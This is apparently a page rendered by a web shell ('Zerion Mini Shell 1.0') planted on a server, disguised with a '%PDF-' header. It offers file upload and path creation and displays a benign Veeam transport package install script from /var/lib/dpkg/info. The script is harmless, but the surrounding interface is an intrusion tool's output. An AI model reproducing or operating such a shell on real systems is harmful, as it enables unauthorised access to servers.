%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/lib/dpkg/info/
Upload File :
Create Path :
Current File : /var/lib/dpkg/info/veeamtransport.postinst

#!/bin/sh

set -e

INSTALL_DIR=/opt/veeam/transport
VEEAMTRANSPORT_BIN=${INSTALL_DIR}/veeamtransport
VEEAMTRANSPORT_DEFAULT_PORT=6162

case "$1" in
    configure)
        ${VEEAMTRANSPORT_BIN} --install ${VEEAMTRANSPORT_DEFAULT_PORT} 2> /dev/null || true
        if [ -f "${INSTALL_DIR}/certs/cert.p12" ]; then
            ${VEEAMTRANSPORT_BIN} --restart 2> /dev/null || true
        fi
    ;;

    upgrade|abort-upgrade|abort-remove)
    ;;

    *)
        echo "postinst called with unknown argument \`$1'" >&2
        exit 1
    ;;
esac

exit 0

Zerion Mini Shell 1.0